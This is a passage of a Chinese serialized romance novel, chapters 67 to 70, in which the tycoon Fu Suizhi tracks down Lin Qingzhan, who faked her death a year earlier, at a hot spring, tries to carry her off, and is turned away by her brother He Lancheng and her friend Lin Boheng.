挂了电话后,她刷开进入泡汤区,往中药池走去,脑海里闪过刚刚那个男人的脸庞,恍然想起来,她是在林青盏的电脑里看到过这张脸的! 跟林青盏慢慢熟悉后,云雪棠会去白色别墅找林青盏,主要是为了磨她想让她去月云阁工作,久而久之两人也成为了好朋友。 林青盏平日里不会避讳着云雪棠,云雪棠非常了解林青盏的日常作息,她在家的时候,不是录制视频就是剪辑视频,偶尔会坐在沙发上刷手机。 云雪棠看到过好几次,林青盏在看浮城财经新闻,新闻上出现过男人这张脸,他好像是叫—— “三爷,就是这里。” 对,傅三爷。 云雪棠脑海里冒出这句话时,抬眸看到刚刚的那位霸道总裁站在中药池门口。 中药池用篱笆围绕着,门口有个小木门,里面有个很大的凉亭,中药池就在其中。 云雪棠走过去,疑惑看了看门口站着的人,将篱笆木门推开,“小纾姐,我回来了。” 在中药池里泡着的林青盏抬头看过去,就那么猝不及防地对上傅随之那双浅棕色眼眸,心脏突突跳动了两下。 一身白色衬衫的傅随之站在门口,双眸紧紧盯着汤池里面的女人,那双眼眶猩红得像是要流下血滴似的。 傅随之握紧拳头。 一年未见,她好像没什么变化,只有那双眼睛望着他时不再胆怯。 傅慎和秦楠站在傅随之身后,看了眼汤池里的林青盏,恭顺低头,除此外,不敢发出任何声音。 场地一片寂静,只有云雪棠从头到尾在状况外。 她疑惑盯着傅随之,“这位先生,这个中药池是我们先来的,你如果要泡汤要不先去其他地方吧。隔壁也有两个中药池。” 傅随之盯着林青盏,没动。 云雪棠更加疑惑。 秦楠走上前来,低声将她往外面请,“抱歉,我们三爷和夫人有话要说,请你先回避下。” “夫人??”云雪棠诧异,“你是说小纾姐是他夫人?” 秦楠笑着点头,“没错。劳烦您先跟我出来。” 云雪棠一脸懵逼看向林青盏,见林青盏眼神沉着望向傅随之,从始至终都没有否认,她瞬间就懂了! 心底感慨一句:这是什么霸道总裁玛丽苏文学啊! 难怪她觉得林青盏好看得像是天上的小仙女,原来她是霸道总裁追着跑的那位夫人啊! 秦楠好声好气将云雪棠请到外面,篱笆中药汤池里只剩下傅随之和林青盏。 中药池是温泉水中加了点中药,泉水略显棕色。 林青盏坐在中药池里,后背贴着炎热的石板,露出白皙肩膀。 因为药池水不见底,傅随之看不到她藏在温泉池里的双手紧紧绞在一起,胸膛里那颗心就像是要跳出来似的。 她虽然躲在海城,但这一年傅随之在浮城做的那些事,林博蘅都有告诉她。 林博蘅说,她离开的隔天,全城戒备,浮梦今安五大家族派出了所有的人马,街上随处可见穿着黑色西服的保镖在找人,几乎是地毯式搜索。 之后傅随之去马来西亚找过贺兰承很多次,每次见面两人都要打一架,互相放狠话,傅随之曾说过,无论天涯海角,都会找到她。 她不过跟着傅随之不到一年,对他的性情却很是了解。 他这人不只是单纯的阴狠和暴戾,他的骨子里有着被压迫太久后想要变强的那种上位者傲然姿态,非常注重自我。 当年她在结婚前夕设了个假死的闹剧,在傅随之眼皮底下溜走,这是对傅随之最大的侮辱,也是最大的伤害,傅随之必然不可能轻易放下。 她想过傅随之会找过来,她也做好了准备要去面对,可是她没想过傅随之会这么快到来。 她抬起浓密眼睫,对上傅随之那犀利阴冷的眼眸,心脏在一寸一寸缩紧。 下一秒,傅随之走进温泉池里,泉水没过他的西装裤,他全然没有在意,走到她面前,手掌压在她两侧墙上,将她困在中间。 林青盏抬头望着他,“傅随之,好久不见。” 声音云淡风轻,好像他们本该如此,没有 联系、没有关系,再见面可以淡漠地说起过往。 傅随之压抑了一年的情绪在此刻彻底爆炸。 他抓住她的脖子,将人往自己这边拽过来,与她近在咫尺,“好久不见?这就是你想对我说的?”—— 作者有话说:终于又见面了。 猜一猜,傅三几章能重新上位?! 第68章 当初她设计逃走,他将整个浮城翻了个遍,这一年更是满世界找她。 不见她的这三百八十六天里,他每天晚上做梦都会看到她牵着两个小孩子从他身边走过,看都没看他一眼。 他备受煎熬,想她想到快发疯。 他做梦都想找到她,而她却如此淡然地跟他说:好久不见? 林青盏神色平静,“不然我该说什么?傅随之,我还是被你找到了?请问你找我要作什么?” 她的口吻太淡然冷漠,让他的所有激动和澎湃成了最深刻的笑话。 傅随之咬了咬牙,“林青盏,我是不是说过,让你乖乖待在我身边。否则,我有的是法子让你知道,离开我的后果。” 滚烫温泉池里,他修长单薄的手掌贴着她脊背,用力一捧,将她往他怀里推过来。 林青盏双手抵着他胸膛,将人用力推开,“傅随之,放手。” 傅随之蹙眉。 “我让你放手!”林青盏的声音难得冷冽。 傅随之不是没有听出来,但他并没有因此而放手,反而用他壮硕的手臂将她圈在自己怀里,更加用力地抱住她。 他从来都不善于言语表达,他唯一想的事情,不能再让她逃走。 这辈子,他都不能再丢了她。 林青盏双手搭在他胸膛,非常用力推了下,发现压根推不动,两人之间的距离更加紧密。 傅随之的手劲儿很大,宽厚手掌压在她的脊背,她连动弹都不行,只有仰起头才能呼吸。 “傅随之,当年的笼中雀林青盏已经死了,我跟你早无瓜葛,你放手。” “没有瓜葛?”傅随之抬起头,如覆寒霜的眼眸盯着她,“你倒是敢说。” “我有什么不敢?”林青盏举起手指用力戳了戳他的胸膛,“傅总你要清楚,我既然不是你的笼中雀,少用这种语气跟我说话。” 从进来到现在,这个男人说话口吻冷漠带威胁,让人听着就非常不爽。 这一年,林青盏虽然没有跟很多人见面,但心静沉淀了许多。 她没有畏惧,也不再想从傅随之身上得到什么,所以她不再怕他。 林青盏抓着傅随之的肩膀,废了些力气才将他推开。 傅随之上前一步,将她困在双臂之间,不愿意放她走。 “你想我用什么语气跟你说话?” 这一年他都快疯了,她还这么风轻云淡,他的情绪很难平静下来。 林青盏眼神淡漠,“我想你不要跟我说话,让开。” 傅随之深呼吸,“小纾,我们谈一谈。” “我没什么可以跟傅总谈的。” 林青盏推了下他的手臂,想起身离开,傅随之抓着她肩膀丝毫不温柔地将她摁了回去。 溅起的水花沾染在她的眼睫毛,让她眼睛有些难受。 所有冷漠淡然和云淡风轻,在这一刻突然破碎,林青盏抓着他手臂用力咬下去,像是突然暴怒的小猎豹恨不得咬下来一块肉才解气松开嘴。 “傅随之,我不想见到你!” 一句话让傅随之彻底没了法子。 他双臂垂落下来,眼睁睁看着林青盏站起身往外走去。 林青盏从旁边的木凳子上拿了白色的浴巾裹在身上,推开篱笆木门走了出去。 云雪棠坐在门口的小圆桌前,舔着冰淇淋,看到她赶忙站起身朝着她跑过去。 “小纾姐,你没事吧?” 林青盏摇了摇头。 “小纾姐,那位冷脸霸道总裁就是傅三爷吧?” 林青盏抓着浴巾擦了擦眼角,总感觉眼睛被那温泉池的药水冲到后很不舒服,感觉酸酸涩涩的,直想掉眼泪。 云雪棠看她脸色不好,有些担心,“小纾姐,你哭了啊?是那个人——” 林青盏揉了揉眼皮,“是眼睛沾到水不太舒服。” “哦。” “你怎么知道那人是傅三爷,你认识他?” “不是啊,我怎么可能认识那位傅三爷。是之前你在看新闻的时候,我有看到,新闻里说那个人叫傅三爷。” 云雪棠仔细观察着林青盏的神色,“小纾姐,刚刚那个人的助理说,你是傅三爷的夫人。你们结婚了?” 林青盏抓着浴巾的手掌骤然失了力气,方才的所有淡定从容烟消云散,只感觉身体被掏空般。 片刻后,她摇了摇头,“我们没结婚。” “那他们说你是傅三爷的夫人?” 林青盏和云雪棠认识不过一年,却感觉很合拍,这一年里云雪棠也给了她很多帮助和陪伴。 她没有对云雪棠隐瞒,“我们之前在一起过,我曾经想过要和他结婚,不过后来发生了很多事情,我单方面离开他了。” 云雪棠点了点头。 跟小说里的霸道总裁追妻桥段差不多。 她想肯定是因为霸道总裁做了什么对不起女主,女主受不了就选择离开他,然后霸道总裁突然发现自己深爱,就开始深情追妻。 “那现在就是到了追妻火葬场的环节。” 林青盏:“……” 她戳了戳云雪棠的脑袋,“少看点霸道总裁小说。” “噢,好的。” 林青盏和云雪棠去更衣室洗了个澡,换上自己的衣服走出来。 云雪棠从小就是校花级别的美女,在学校里有很多的追求者,她自认为确实长得不赖,但每次看到林青盏,她总感觉这才是仙女啊。 林青盏穿一身白色吊带裙,外面套着镂空针织衫,乌黑长发披散下来,仙气飘飘的。 “小雪,我好了。” “那我们走吧,泡完温泉,肚子很饿。这时候要是来一场火锅就非常完美了。小纾姐,我们去你那儿吃火锅吧。” “好。” 云雪棠走过去挽住她的手臂,心底只想跟美女贴贴。 “小纾姐,我刚给我妈打电话了。她听到你要去帮忙,都快高兴疯了。你是不知道,因为没人月云阁最近连戏都排不了。不过现在你要过来了,一切要重新回到正轨。我觉得月云阁可以起死回生啦。” 林青盏莞尔一笑,“你又夸张。我哪里有那个本事。只是你们现在找不到合适的人,我可以帮忙先支撑一段时间。” “这样已经很感谢了——额。” 两人手挽手走到酒店大堂,林青盏抬起头看到大堂里站着十几名保镖,以及等候在门口的傅随之和秦楠傅慎两人。 傅随之换了身黑色西服,仍旧是搭配白衬衫,戴着金丝眼镜,矜贵傲然。 他面无表情站在落地窗前,明显是在等林青盏。 目光从他脸庞扫过,林青盏神色没什么变化,拉着云雪棠绕过他要往外走。 傅随之淡然转了个身,大堂里候着的十八名保镖随即走过来,绕成圆圈将她们团团围住。 他们齐声呐喊,“夫人,三爷请您回家。” 吓了云雪棠一跳! 她家里条件不错,也是混迹海城豪门圈的,但海城的上流人物从来没有这种做派的! 早闻浮城是古风城市,据说那五大家族都背景深厚,家财底蕴深,家风还保留了很多老一辈的做派,现在一看,果真如此。 云雪棠看了眼林青盏。 眼前这场景太震撼,她一时间没敢喘气,就等着林青盏出声。 林青盏眼尾垂了下来,从来都是温柔至极的女人,此刻脸色却极冷。 她没有回头,目光落在前方,话却是对身后的人说的,“傅随之,你到底要干嘛?” 身穿黑色衣服的男人漫步走过来,在她们面前站 定,他望着她的眼眸却是炙热如火。 “小纾,我不可能再让你从我身边离开。” “所以呢,你要把我抓走关起来?” 傅随之口吻还是傲然的,“不,我是在请你跟我回家。” “回家?”林青盏眼神越发冰冷,“傅三爷怕是忘了,我跟你就没有家。” 傅随之平静看着她。 “当年我跟着傅三爷时,也不过是一只笼中雀,都没结婚,哪里来的家?” 傅随之不想惹怒她,更不想让她离开,难得放柔了声音,“小纾,我们随时可以结婚。” 虽然一年没见,但这人依旧如此霸道,林青盏心底莫名心情很不好,眼神也冷了几分。 “谁要跟你结婚!” 丢下这句话,她牵着云雪棠的手要往外走,秦楠和傅慎往前一步,站在她面前挡住她的去路。 “走开。” 秦楠点头哈腰陪着笑,“夫人,三爷找了你很久,一直在等着你回家。你还是跟他回去吧。” 林青盏消失的这一年,傅随之的性情越发不稳定,时不时要发脾气。 海棠湾的人都非常清楚,傅随之疯了,只有林青盏能成为他的药。 他们所希望的,却不见得是林青盏想要的。 她知道秦楠不过是按照他的命令办事,跟秦楠多争执无意。 她转过身看向傅随之,“叫他们让开。” 傅随之望着她的眼神是带着柔情的,“抱歉,这恐怕不行。” “……”看他这也不是觉得抱歉的表情。 傅随之走到她身旁站定,修长手指贴着她手腕将她圈住,“小纾,我说过了,我不会再让你离开我。今天你必须跟我走。” “不——” 林青盏话还未说完,傅随之抓着她手腕一拽,将人揽入怀中,打横抱起。 她的白色裙摆贴着他苍劲有力的手臂垂落下来,轻轻晃动。 愣了一秒钟,林青盏才反应过来,单薄手掌抵着他肩膀,“你放我下来!” “抱歉,我说了不行。” “傅随之!我说了我跟你现在没有任何关系了,你不能把我带走!” “不是你说没关系就没关系了,小纾,我整个人都是你的,你必须要。” “……” 林青盏气得往他肩膀砸下去,“你听不懂啊,我说我不想跟你有关系。你放我下来!” “小纾,”傅随之声音很是沉稳,“不可能。我不同意。” 林青盏纤瘦身姿被他搂在怀里,拼命踢腿,挣扎着要下来,却只是被他抱得更紧。 他身高一米九,手臂粗犷,任凭她怎么挣扎都没用。 林青盏气得眼尾嫣红,“你混蛋!我让你放我下来。” “不可能。” 这时,门口传来声音:“把她放下。” 林青盏抬眸看过去,发现竟是贺兰承和林博蘅过来了。 第69章 贺兰承穿一身传统商务西装,整整齐齐打着领带,那张脸庞越发硬朗,目光阴沉盯着傅随之,是带着某种警告意味的。 紧接着,他身后出现一列保镖,快速走进来,跟傅随之身边围绕的黑衣保镖对峙着。 他在一米外站定,冷冷盯着傅随之,“她现在可不是当初那个随意人欺负的女孩,更不是随便你想带走就能带走。” 傅随之依旧抱着林青盏,压根不想放开。 贺兰承:“傅随之,你为了找人耍诈,用一封信作为诱饵,找到我妹。这我先不跟你计较,但你现在还想强行带走她,绝无可能。” 一年前,贺老离世,贺兰承继承了贺氏集团,掌控了整个贺氏经济命脉,身价暴涨。 再加上这一年里,傅随之为了找到林青盏的下落,一直跟贺兰承做交易,往他那里送资源和项目,将他喂得饱饱的,现在贺氏集团在国内发展不会比傅氏集团差多少。 惹毛了贺兰承,会给傅氏集团带来很大的麻烦不说,更可能会阻碍他挽回林青盏。 傅随之还是将林青盏放下。 林青盏重新落了地,转过身,丝毫不留情面地对着傅随之小腿踹了一脚,疼得傅随之紧蹙眉宇。 她才不管他,转过身朝着贺兰承走去。 傅随之就这么眼睁睁看着她挽住贺兰承的手,转身离开酒店。 两分钟后,他迈步走了出去,让傅慎开车跟着前方的车,一直回到白色别墅。 林青盏和贺兰承并肩走进白色别墅时,回眸看了一眼,傅随之跟在他们身后三米外,目光始终落在她身上。 下一秒,林青盏收回目光。 傅随之愿意等在别墅外面,林青盏也没有办法,但至少她现在不想看到傅随之。 一年的时间说短不短,但还没有那么悠长到让她忘记和傅随之有关的那些痛。 她虽然已经想好不再避着贺兰承,但压根没有做好和傅随之见面的准备,谁能想到他今天会突然出现在她面前。 林青盏深深叹了口气,将包随手放在玄关的柜子上,抬起头看到面前站着的贺兰承。 贺兰承和一年前相比没什么变化,只是那双眼睛更加幽深,看着她的目光带着些许不赞同和很多的怜惜。 林青盏慢慢走过去,抱住贺兰承,躲在哥哥怀里的这一刻,所有漂浮的心境才终于安然下来。 贺兰承揉了揉她的头发,“吓到了?” 林青盏摇头,“他不至于吓到我。” “那是想哥哥了?” “嗯。” 贺兰承拍了拍她的脑袋,将人带到沙发坐下,又伸手戳了戳她的额头,“当初怎么想的都不知道,自己跑出来?” 那时候她刚失去两个孩子,而且沈钰铭说那样的话,以贺兰承和傅随之的命相要挟,她身心疲惫,只想着自己跑掉躲起来,贺兰承找不到她,傅随之也找不到她,两人或许就不会因为她大动干戈斗得你死我活的。 其实现在回头看,当初她的想法太傻。 只是那时候她看不透,有些情绪她也是经过沉淀之后,才能如此从容面对,即便再来一次,恐怕她也会做出一样的决定。 这件事她其实不想再去提及。 她瘪嘴,“我不是自己走的啊,我不是跟林博蘅哥说了吗?” 说到这,贺兰承更气,瞥了一眼林博蘅,“要不是你跟他有保持联系,你以为我这一年为什么能沉稳等着你出现?” 别说傅随之发疯满世界找人,如果不是林博蘅通知贺兰承说林青盏安然躲起来,恐怕贺兰承找人会找得比傅随之还要疯。 贺兰承看了眼林博蘅,“但是把我妹妹藏起来这件事,我还是得找他算账。” 林博蘅倒了水过来,坐在他们对面的沙发,很是无奈:“你够没够啊,当时差点被你打,到现在还惦记着这件事。我这不是把小纾照顾得好好的?你仔细给瞧瞧,小纾是不是养得越发好看了。” “嗤。” “……” 林青盏和贺兰承中间虽然十几年没见,但是两人关系一直很好,他比较沉稳,从小就知道要保护家里人不被欺负,若是有人敢欺负他的家人,他是会跟人拼命的程度。 一年前,她求着林博蘅将她带走,还不让他告诉贺兰承她的藏身之处,只转达一句:“安全,可放心。”叫贺兰承这样苦等了一年。 这件事是因为林青盏而起,对于林博蘅完全是无妄之灾,林青盏不想让贺兰承将怨气落在林博蘅身上。 她转移话题道:“哥哥,我才跟博蘅哥说给你打电话,你怎么能这么快就过来?” 贺兰承勉强先放过林博蘅,将目光转移到林青盏身上,“因为哥哥想见你。” 虽然贺兰承说这句话的时候,很是严肃,那双眼眸也没什么感情,但林青盏知道他是真心的。 哥哥是她在这世上唯一的亲人了,她何尝不想和哥哥生活一起,不过当时她真的想不到更好的方法。 林博蘅知道林青盏的情绪, 笑着解释,“我给他打电话的时候,他刚好落地京都,原本是要去跟京都关家谈生意。知道你在海城,什么都顾不得,直接飞过来了。” 贺兰承心系林青盏,一刻不容缓。 林青盏心底很感动,“哥哥你是不是很久没回来海城了,要不我们出去吃大餐吧。” “想吃大餐可以。”贺兰承点头,“不过不用出去。我让人送了食材过来,我给你做。” 话音落下,就听到外头传来门铃声。 贺兰承使唤林博蘅,“去拿。” 林博蘅知道他心底还存着气,笑了笑站起身往外面走去。 林青盏也跟着站起身,“博蘅哥,我帮你吧。” “小纾你还是坐着,不然你哥又要怨我。” 他开玩笑说着,林青盏还是没停下,拉开房门,抬眸便看到站在铁门外的傅随之。 天色渐晚,晚霞漫天。 傅随之身穿黑色西服,身姿挺拔站在铁门后,听到开门声,抬起那双浅棕色眼眸望了过来。 林青盏脚步顿住,是没想到他竟然还在,一时间不知道该如何。 林博蘅举手拍了拍她的肩膀,“不想见的话,进去吧,我去拿就行。” 迟疑两秒,林青盏停下脚步。 林博蘅从她身旁绕过,走过去推开铁门,对傅随之点了点头,转而从送货员手里拿过笨重的食材。 傅随之趁机推开铁门要走进去,关键时刻被林博蘅举手拦住,“傅总,抱歉,你不能进去。” 傅随之冷眼看他,“你拦我?” 虽然林博蘅靠着贺氏集团发展不错,但在浮城,林氏集团和傅氏集团相差甚远,若是平日里林博蘅不会轻易得罪傅随之。 但现在事关林青盏,林博蘅没有让步,“傅总,小纾现在还没有做好心理准备见你。你如果真爱她,应该给她时间。” 傅随之态度强硬:“这是我和她的事,跟你没关系。” 林博蘅看似斯文儒雅,却半点不让步,“小纾的事就是我的事,她说了不想见你,请你离开。” 傅随之冷笑,“你的事情?你什么身份来说这句话。” “我和贺兰承是好兄弟,我将小纾当做妹妹来对待,而且这一年都是我在照顾她,她现在也是我的好朋友。” 林博蘅看似云淡风轻,其实也在用力挡住傅随之,“傅总,你应该想想为什么她要离开。在她认为,林青盏已经在那场车祸中消失了,现在留下来的是跟你没有任何关系的林青盏。不管你要做什么,你最先考虑的是她的感受,你应该要尊重她。” 分开这一年,傅随之日日夜夜想着林青盏,找不到人他每天的情绪都在发疯的边缘徘徊。 现在好不容易找到了,这些人都拦着不让他靠近,傅随之心底的怒火像是火山一直被压制着,在这一刻彻底爆发。 他抓住林博蘅的衣领,恶狠狠将人推到铁门上,“林博蘅,你以为你是谁,轮得到你来跟我说这些话?” 林博蘅抓住他的手掌要挣脱,“傅总,凡事不是武力就能解决的。” 林青盏原本要转身回屋,听到声音,探身过来看了眼,发现傅随之将林博蘅摁在贴门上,吓得跑过来,抓住他的手臂,“傅随之,你放手!” 傅随之猩红眼眶里沉寂的狂暴逐渐平息下来,他看向林青盏,即便她是在为别人呵斥他,可只要是她愿意跟他说话,傅随之什么都不在意。 “小纾。” 林青盏将他推开,“你出去啊。” 将人推到铁门外,林青盏用力将门关上,“傅随之,我说了我不想见你。” 说罢,她转身往别墅里走。 林博蘅看了眼门外的傅随之,转身跟了上去,“小纾。” 一遇到傅随之的事情,林青盏就容易心情混乱。 她疾步走进别墅,被站在门口看戏的贺兰承抓住手腕,她缓缓抬起头看向他。 贺兰承没说什么,拉着人走进餐厅。 林博蘅提着食材走过来,担忧地看着林青盏。 贺兰承倒是不怎么在意,随手将里面的大闸蟹提出来,“没想到啊,我们家温柔小海棠,经过一年的沉淀,现在倒是硬气了不少。” 当年他刚回到浮城的时候,远远看着林青盏在傅随之身旁,低眉顺眼的,好似很怕惹怒傅随之,凡事以傅随之为主。 即便后来她和傅随之真的谈了恋爱,她还是处于下风,什么时候都想着傅随之,凡事被傅随之掌控和左右。 后来,傅随之知道林青盏有了孩子,选择暂时不结婚,继续跟傅家权斗,眼睁睁看着林青盏的孩子掉了,身体和精神都受到了巨大的煎熬。 贺兰承对此非常不满,才会在傅随之找林青盏这一年里,旁观看他发疯发狂。 谁叫他让林青盏受苦,这是他应得的惩罚。 知道傅随之赶来找林青盏,贺兰承还以为他这个妹妹会再次被傅随之拿捏,没想到她一上来先给他关在门外。 贺兰承点头,非常好。 第70章 贺兰承在中央岛台边收拾大闸蟹,边抬眸看向林青盏。 她坐在餐椅上,长发披散在背后,衬得腰肢纤瘦如柳枝,白皙脸庞泛着红晕,眼尾也是红的,一副气呼呼的模样。 贺兰承嘴角难得出现了笑容。 他就觉得,这丫头其实跟小时候一模一样,看着温柔乖巧,内里是个倔强的小孩,非常有自己的个性。 他双手撑在岛台上,“最大的这四只蒸了给你吃,另外的爆炒,可以吗?” 林青盏暂时放下思绪,抬眸看向贺兰承,“嗯。” 小时候,因为爸爸妈妈工作非常忙,林青盏都是贺兰承在带。 他们住在月亮街街尾,小学和幼儿园都在隔壁街上,放学后贺兰承会过来幼儿园接林青盏回家,不仅要照顾林青盏吃饭,连带着爸爸妈妈的那两份也要准备。 所以,贺兰承非常善于做饭。 除了大闸蟹,贺兰承还做了焗盐虾和虾姑,以及海城当地美食海蛎煎。不只是海鲜,另外又弄了锅包肉、糖醋排骨和林青盏最喜欢的蜜汁茄子。 林青盏坐在旁边,看着贺兰承面无表情做着饭,心情慢慢镇定下来。 贺兰承非常娴熟,很快做好,林博蘅帮着将饭菜都端上桌,贺兰承洗净双手过来给林青盏弄大闸蟹肉,一点点装在盘子里递给她,她都不用动手。 两人相认一年后,终于面对面坐在同一张饭桌上,林青盏心情很好,美美饱餐一顿。 结束后,三人到落地窗前的茶桌坐下,林青盏给他们泡了上好的岩茶解腻。 她纤细手指捏着茶杯,凑到唇边抿了一口,听到贺兰承悠悠然问林博蘅,“傅随之还在外面?” 林博蘅点头,“在铁门外站着。” 她眼睫眨了眨,一时间情绪又有点怪异。 贺兰承看她一眼,“这一年,傅随之都在找你。” 她垂眸,“我知道。” “博蘅有没有告诉你傅随之这一年干的那些事?” “说了些。” 这一年,林青盏是真的将自己藏起来,连他这个哥哥都没见,更别说浮城的那些人。 当初林青盏离开浮城,托林博蘅过来传话,说她只是想自己静一静,暂时不能去见他,贺兰承刚巧被贺家那群人拖住,一时间没精力亲自去找林青盏,只能交代林博蘅好好照顾她。 没两天,傅随之就找到马来西亚,跟他要人。 他什么信息都没透露,只让傅随之滚,傅随之倒是个沉得住气的,知道贺兰承被贺家人缠着,提出可以帮他解决贺家内患让贺兰承稳坐贺氏家主之位。 等贺兰承解决了贺氏那群废物,将贺氏集团握在手里,才终于有精力去了解林青盏和傅随之的事情。 当时情况太复杂,傅随之的根基不稳,傅家家主之位坐得并不轻松,傅怀锦在旁边逼迫,傅清檐也虎视眈眈的,他要想坐 稳这位子,就需要更多的助力。 虽然当时浮梦今安的几位都支持他,但要掌控傅氏集团是需要强大的利益支撑,如果只靠着其他四大家族的支撑,太掉面,而且也不够。 这种情况下,傅随之自己的事业都可能失控,他自然不可能大张旗鼓地将林青盏娶进门,让她去傅家内宅面对更多的风险。 她不过一个外人,沈家蓉都能拿乔过来教训,如果成了傅家主母,那傅家的条条框框就能将林青盏压死,傅随之不可能这么做。 而林青盏经历怀孕,不想让孩子成为私生子,渴望他给她婚姻保障,又到失去孩子,丢失了所有希冀,那时候她已经身心疲惫。 贺兰承还在一旁要求她必须做出决定,立马跟他离开。 所有的这些都压在憔悴的人身上,她的心底防线已经快要崩塌,又来了个沈钰铭,让她知道了林峰平和傅清庭的事情。 虽然他们到现在还不确定林峰平是不是真的害死了傅清庭,但傅随之知道林青盏身份,初衷是想从林青盏身上拿到证据这件事千真万确。 林青盏没办法接受,自己相信和一心维护的男人却是在利用她,还让她失去了她的孩子,心底恨傅随之是必然的。 整个过程,林青盏做了她能做的决定,傅随之好似也身不由己,但贺兰承只在意自己的妹妹,偏执认为身不由己也是傅随之的错! 他始终站在林青盏这一边。 贺兰承端坐在单人沙发上,手里拿着小茶杯,看着清澈可见底的茶杯,心情很不错。 面对的是自家的妹妹,他难得卸下脸上的冰冷,眼眸沾染了些许温度。 “这一年,傅家已经大洗牌了。” 当时,沈家盯着傅随之手里蓝盛的项目,一是因为沈家这两代发展一直平平,全是靠着京圈沈家在帮衬,如果能拿到蓝盛项目,和周氏成为战略伙伴,身份必然能够大翻阅。 二是,沈家为了家族发展,将沈钰铭送到傅随之身边,傅随之不收就算了,还让傅鸿源那样侮辱她,最后他们为了家族发展还不得不点头答应傅鸿源的提亲,这口气沈家家主咽不下,就想着能从傅随之嘴边咬下这块肉,不仅对沈家有利,还能让傅随之摔跟头。 沈钰铭以贺兰承来要挟林青盏,原本以为胜券在握,却没想林青盏突然搞出一个假死逃脱,不仅让沈家的计划落空,还把傅随之逼疯了。 林青盏离开后,傅随之以浮梦今安的名义和周聿淮签订了合同,拿着蓝盛,压制住了傅氏集团那群人。 傅随之做事雷厉风行,沉寂几年后的爆发,是以利益交换,很快教化了傅怀锦那边的人,也把傅清檐一派肃清,不过半年就将傅氏集团紧紧握在手里。 傅清檐被傅随之赶出傅氏集团后,原本靠着自己手里的产业也可以过得很好,但傅随之怎么可能放过他。 傅随之几乎是赶尽杀绝,傅清檐的公司一家家被举报,纪委查过去,偷税漏税的就足够傅清檐赔得倾家荡产。 傅鸿源和沈钰铭的婚姻名存实亡,原本还想和沈家联合对付傅随之,没想到傅随之连沈家一起对付,一下子毁了沈家六个项目,连他们服装输送的线都给断了。 宋家原本想出手相助,傅随之亲自打电话给宋老,警告:“不想死就别瞎掺和。”宋老只能乖乖退出。 沈家没办法只能求到沈砚修那里,让沈砚修找了周聿淮,跟傅随之好声好气赔礼道歉,傅随之才留给沈家一条生路。 但放过沈家,不代表放过沈钰铭。 这点,林青盏早就听林博蘅说起过。 说是傅随之专门找了人盯着沈钰铭,只要她落了单就会有人上门警告威胁她,让她最好小心点,不然哪天就把她的脸划了让她毁容,有时候也会威胁她,会将她的所有丑事告诉京圈沈家,让她再无脸面在沈氏立足。 贺兰承喝了口茶,“说实话,傅随之这人性情真的挺阴狠毒辣的。他可不讲道德,什么‘我不打女人’是不存在的,谁让他不痛快了,他就算是追到天涯海角也会找回来。当初她害你失去孩子,他就要她也失去最重要的东西。沈钰铭敢威胁你,他就以其人之道还治其人之身,让她每天都生活在惶恐里。” 林博蘅蹙眉,“我听博昶说了他年少的经历,他是被傅怀锦变态压迫养出了一身阴毒狠戾。” 贺兰承:“不错,是这样。” 贺兰承转身看向林青盏,眼眸里透着些许严肃,“一个人长达二十几年,始终被以畸形的方式灌输冷漠无情的行事风格,久而久之,他的三观其实已经被框死了。傅随之已经没有怜悯和同情心理,他的情感表达都是强硬的,甚至可能比别人薄情。” 林青盏将茶杯放下,抬头看向贺兰承。 “即便是遇到你之后,傅随之的做事风格始终没有改变,阴狠毒辣,冷酷无情。他这种并不是值得托付的人。和一年前一样,我不认同这个人,不会同意你跟他有任何关系。” “哥,我其实没想过这件事。” “那就好。”贺兰承对她露出笑容。 林博蘅见气氛有些许尴尬,转移话题道:“对了,小纾说想把隔壁重新修缮下,本来还想打电话再跟你提这件事,现在刚好直接问你。” 贺兰承点头:“可以。” 当年,贺兰承有了点钱就把隔壁的小楼买了下来,里面始终保持着当初一家人生活的模样。 贺兰承没有让人过来重新装修,一是想保持原样等着林青盏来看看,二是他不想让外人随意整改里面的布置。 现在有林青盏在,他自然是放心的。 闲聊了半个多小时,贺兰承接到工作电话,转而去了书房。 林青盏站起身,跟林博蘅打了招呼要上楼休息。 林博蘅跟着站起身,垂眸注视着她的神色,“心情还好吗?” 林青盏抬眸看他,“说实话,有点不好。” “可以理解。”林博蘅从旁边取了一盒巧克力递给她,“要不吃点甜的,心情说不定就会好一点。” 林青盏接过那盒进口巧克力,眉眼弯弯,“博蘅哥,我又不是小孩了,还得你拿巧克力哄啊?” 林博蘅将宽厚的手掌搭在她头顶,轻轻揉了揉她的头发,“能哄我们家大小姐,是我的荣幸。” 这一年,都是林博蘅陪着她,两人已经是非常好的朋友。 林青盏没有客气,将巧克力收下,“那好吧,至少能甜那么一点点。” 她没有多停留,转身上了二楼。 走进房间将门关上后,她的嘴角垂下来。其实她没有表面那般风轻云淡,心底的痕迹不是短短一年就会消失。 她深吸了口气,走到床边,勾起白纱窗帘,看向铁门的方向。 傅随之仍旧站在原地。 记忆中,傅随之总是穿着黑色衬衫黑色西裤,可是今天的傅随之穿着一身白色高级定制衬衫,相比以往的阴狠毒辣,这样子的他身上那股压迫感削弱了不少。 下一秒,傅随之像是有所感应似的抬起头,林青盏对上那双浅棕色眼眸,心脏猛地剧烈跳 动。 一瞬间,好似无法呼吸。 傅随之在门口站了一个多小时,秦楠和傅慎都觉得快站不住,但他却没有任何反应。 等了一年,终于找到她,即便是让他以后都这么站着,他也甘愿。 他以为要明天她出门才能再见到她,没想到她还会出现。 他凝神望着站在窗边的人,露出会心一笑。 下一秒,白纱窗帘被拉上。 她倒映在白纱窗帘上的背影逐渐远去,消失不见。 跟着消失的还有傅随之的笑。 秦楠和傅慎站在旁边,眼睁睁看着傅随之变脸比翻书还快,上一秒笑得人畜无害,下一秒垂下嘴角,眼眸深处的那股子阴狠又跑了出来。 站了一个多小时,秦楠腿都站麻了,低声问傅慎:“爷难道打算这么站到天亮?” 傅慎面无表情:“不知道。” “你别不知道,你想想办法啊。那站一夜,我们没什么,爷待会累着算什么事?” “……”傅慎瞥他一眼,就是不说话。 秦楠无奈叹了口气,“我要去找小灵哭诉。” “你要找就找小敏,找小灵做什么?” “小敏老是骂我,还是小灵好,人美心善能安慰我,我就要去找她聊天。” 傅慎一把将秦楠的手机抢过来。 下一秒,他转身看向傅随之,面无表情说道:“爷,这一年顾蝉小姐也一直在找夫人。如果她知道夫人在这里,肯定会马上过来看夫人。我们可以找四爷说说,让顾蝉小姐帮忙说几句话。” 跟巍峨松木一样站了一个小时的人终于动了下。 傅慎:“顾蝉小姐半个月前和纪三爷去了躺法国,就算是现在联系,顾蝉小姐要安排好工作再回来,最少也要两天。” 他是在提醒,此事刻不容缓。 